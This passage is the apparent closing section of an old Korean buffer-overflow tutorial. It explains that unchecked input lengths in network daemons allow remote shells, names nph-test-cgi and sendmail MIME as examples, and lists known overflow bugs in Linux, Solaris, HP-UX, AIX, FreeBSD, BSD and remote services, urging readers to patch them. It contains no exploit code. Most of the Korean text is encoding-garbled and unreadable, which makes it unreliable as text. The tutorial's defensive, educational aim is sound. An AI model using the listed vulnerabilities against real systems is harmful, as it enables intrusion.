¿øÇÏ´Â Äڵ带 ¼öÇàÇÏ°Ô ÇÒ ¼ö ÀÖ´Ù. * remote hackµµ °¡´ÉÇÑ°¡? overflow¿¡ ÀÇÇؼ­ remote hackµµ °¡´ÉÇÑ°¡? ´ç¿¬È÷ °¡´ÉÇÏ´Ù. ¿ÜºÎ¿¡ ¿­¾î³õÀº °¢Á¾ daemonµéÀÌ ¿ÜºÎ·Î ºÎÅÍ data¸¦ ¹ÞÀ» ¶§, ±×°ÍÀÇ length checkingÀ» ÇÏÁö ¾Ê´Â´Ù¸é, ÃæºÐÀÌ ÀϾ ¼ö ÀÖ´Â ÀÏÀÌ´Ù. °¢ ½Ã½ºÅÛÀº ´ëü·Î ¾÷ü¿¡¼­ º¸³»ÁØOS install disk¸¦ ÀÌ¿ëÇÏ¿© OS¸¦ installÇϹǷÎ, ±× ÇüÅ ¹× À§Ä¡µîÀÌ ¸ðµÎ ¶È°°°Ô µÈ´Ù. ±×·¯¹Ç·Î, ÇÑ ±ºµ¥¿¡¼­ remote hackÀ» ¹ß°ßÇÏ¿´´Ù¸é ±×°Í°ú µ¿ÀÏÇÑ OS¸¦ »ç¿ëÇϴ ȣ½ºÆ®¿¡ ¸ðµÎ ¸ÔÈ÷°Ô µÇ´Â °ÍÀÌ´Ù. °¡Àå ³Î¸® ¾Ë·ÁÁú ¸¸ÇÑ °ÍÀ̶ó¸é, WWW daemonÀÇ cgi-bin directory¾È¿¡ ÀÖ´Â ¿©·¯ ¹ÙÀ̳ʸ®µéÀÏ °ÍÀÌ´Ù. ÃÖ±Ù¿¡ nph-test-cgi¶ó´Â °ÍÀÇ overflow°¡ µÎ°¢µÇ¾ú´Âµ¥, ¸¸ÀÏ ÀÌ°ÍÀ» overflow½ÃÅ°°Ô µÈ´Ù¸é ¿ÜºÎ¿¡¼­ - ¹°·Ð nobody±ÇÇÑÀÌ°ÚÁö¸¸ - shellÀ» ¶ç¿ö°¡Áö°í »ç¿ëÇÒ ¼ö ÀÖ°Ô µÈ´Ù. ¹°·Ð À§¿¡¼­ ÀÌ¾ß±â µÈ sendmail MIME¹ö±× ¶ÇÇÑ remote hackÀÌ °¡´ÉÇÑ °ÍÀÌ´Ù. [ overflow °­ÁÂÀÇ ¸¶¹«¸® ] ÇöÀç±îÁö overflow¶õ ¹«¾ùÀ̸ç, ¾î¶»°Ô °ø°ÝÇÒ ¼ö ÀÖ´ÂÁö¿¡ °üÇÏ¿© ¾Ë¾Æº¸¾Ò´Ù. ÀÌ ¹ö±×´Â Á¤¸» ÃÖ±Ù¿¡ ³ªÅ¸³­ °ÍÀ¸·Î ¿¹Àü¿¡´Â º°·Î ¾Ë·ÁÁ® ÀÖÁöµµ ¾Ê¾Ò°í, ±×¶§¹®¿¡ OS¸¦ ¸¸µå´Â ¾÷ü¿¡¼­ Á¶Â÷ ÀÌ ¹ö±×¿¡ ´ëÇؼ­ ´ëÀÀÀ» Á¦´ë·Î ÇÏ°í ÀÖÁö ¸øÇÑ ÇüÆíÀÌ´Ù. ÇÊÀÚ °³ÀÎÀûÀÎ »ý°¢À¸·Î´Â ¿ÃÇØ°¡ ³Ñ¾î°¡¸é ÀÌ ¹ö±×¿¡ ´ëÇؼ­ ´ëºÎºÐ ¾ÈÀüÇØ Áú°ÍÀ¸·Î º¸°í ÀÖ´Ù. Solaris2.6µµ ¹ßÇ¥µÈ´Ù°í Çϴµ¥, ºÐ¸íÈ÷ overflow bug°¡ ´ëºÎºÐ ÆÐÄ¡µÉ °ÍÀ¸·Î ±â´ëÇÏ°í ÀÖ´Ù. ¾î·µç Çö½ÇÀº Çö½ÇÀ̹ǷÎ, ÇöÀç ÀÎÅͳÝÀ» ¼³Ä¡°í ´Ù´Ï°í ÀÖ´Â ¿©·¯ overflow¹ö±×µé¿¡ ´ëÇؼ­ ¿©±â ¾Æ·¡¿¡ ¼Ò°³ÇÏ°Ú´Ù. °¢°¢¿¡ ´ëÇؼ­ patch¸¦ Çϱ⸦ ¹Ù¶ó¸ç, ÀÌÁ¤µµ·Î overflow°­Á¸¦ ¸¶Ä¡µµ·Ï ÇÏ°Ú´Ù. LINUX ----- cron overflow NLSPATH overflow inn overflow lpr overflow Solaris ------- ffbconfig overflow gethostbyname overflow passwd overflow fdformat overflow eject overflow getopt overflow HP_UX ----- vgdisplay overflow chfn overflow newgrp overflow passwd overflow rlogin overflow AIX --- gethostbyname overflow rlogin overflow FreeBSD ------- cron overflow modstat overflow rlogin overflow setlocale() overflow (Global VARIABLE bug) BSD --- rlogin overflow lpr overflow REMOTE ------ talkd overflow sendmail MIME overflow nph-test-cgi overflow Copyright MISO Tech.Co.,Ltd.